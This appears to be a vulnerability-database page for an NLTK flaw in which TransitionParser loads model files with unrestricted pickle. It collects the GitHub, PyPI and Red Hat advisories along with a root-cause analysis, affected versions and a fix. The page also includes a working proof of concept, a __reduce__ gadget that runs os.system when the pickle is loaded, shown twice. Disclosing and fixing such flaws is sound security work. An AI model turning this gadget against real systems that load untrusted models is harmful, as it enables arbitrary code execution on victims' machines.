WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Steps to Reproduce

Environment

NLTK version: 3.8.1+ (all versions with transitionparser.py)
Python 3.6+
No special dependencies required

Reproduction

Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.
Call TransitionParser().parse([], '/path/to/malicious_model.pkl').
The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.
Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

model = pickle_load(f)

to:

model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File	Line	Before	After
`nltk/parse/transitionparser.py`	557	`pickle_load(f)`	`pickle_load(f, restricted=True)`
`nltk/parse/chartparser_app.py`	816	`pickle_load(model_data_file)`	`pickle_load(model_data_file, restricted=True)`
`nltk/parse/chartparser_app.py`	2273	`pickle_load(file)`	`pickle_load(file, restricted=True)`
`nltk/parse/chartparser_app.py`	2311	`pickle_load(fp)`	`pickle_load(fp, restricted=True)`

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:41:11Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "GHSA-rhp5-r9x4-f5g2",
  "modified": "2026-09-08T16:41:11Z",
  "published": "2026-09-08T16:41:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution"
}

PYSEC-2026-3734

Vulnerability from pysec - Published: 2026-08-25 02:16 - Updated: 2026-09-01 08:54

Details

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Impacted products

Name	purl
nltk	pkg:pypi/nltk

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk",
        "purl": "pkg:pypi/nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8",
        "0.9",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "2.0.1",
        "2.0.1rc1",
        "2.0.1rc2-git",
        "2.0.1rc3",
        "2.0.1rc4",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0b4",
        "2.0b5",
        "2.0b6",
        "2.0b7",
        "2.0b8",
        "2.0b9",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.1",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.4",
        "3.2.5",
        "3.3",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.5",
        "3.5b1",
        "3.6",
        "3.6.1",
        "3.6.2",
        "3.6.3",
        "3.6.4",
        "3.6.5",
        "3.6.6",
        "3.6.7",
        "3.7",
        "3.8",
        "3.8.1",
        "3.9",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "3.9.4",
        "3.9b1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ],
  "details": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.",
  "id": "PYSEC-2026-3734",
  "modified": "2026-09-01T08:54:51.968743Z",
  "published": "2026-08-25T02:16:53.033Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

RHSA-2026:84734

Vulnerability from csaf_redhat - Published: 2026-10-19 08:52 - Updated: 2026-11-14 04:47

Summary

Red Hat Security Advisory: RHOAI 3.4.5 - Red Hat OpenShift AI

Severity

Critical

Scope

298 vulnerabilities in this advisory, including CVE-2026-78683.

CVE-2026-78683

A flaw was found in NLTK. This vulnerability allows arbitrary code execution due to unsafe deserialization, where data loaded from storage is converted back into active objects without adequate restrictions. When the TransitionParser component processes a model file, it fails to enforce safe loading constraints. An attacker who provides a maliciously crafted model file can trigger the execution of arbitrary code with the permissions of the user or application running NLTK.

9.6 (Critical)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Fixed: 8 products Known not affected: 313 products

https://access.redhat.com/errata/RHSA-2026:84734

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-78683 (GCVE-0-2026-78683)

BREW-ACRONYM-CVE-2026-78683 (PYSEC-2026-3734)

Summary

Root Cause

Attack Surface

Steps to Reproduce

Environment

Reproduction

Proof That the Fix Works

Working PoC

Recommended Fix

BREW-GPTLINE-CVE-2026-78683 (PYSEC-2026-3734)

Summary

Root Cause

Attack Surface

Steps to Reproduce

Environment

Reproduction

Proof That the Fix Works

Working PoC

Recommended Fix

BREW-SAFETY-CVE-2026-78683 (PYSEC-2026-3734)

Summary

Root Cause

Attack Surface

Steps to Reproduce

Environment

Reproduction

Proof That the Fix Works

Working PoC

Recommended Fix

CERTFR-2026-AVI-1486

Solutions

FKIE_CVE-2026-78683

GHSA-GX65-C5HJ-VPV5

Duplicate Advisory

Original Description

GHSA-RHP5-R9X4-F5G2

Summary

Root Cause

Attack Surface

Steps to Reproduce

Environment

Reproduction

Proof That the Fix Works

Working PoC

Recommended Fix

PYSEC-2026-3734

RHSA-2026:84734

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour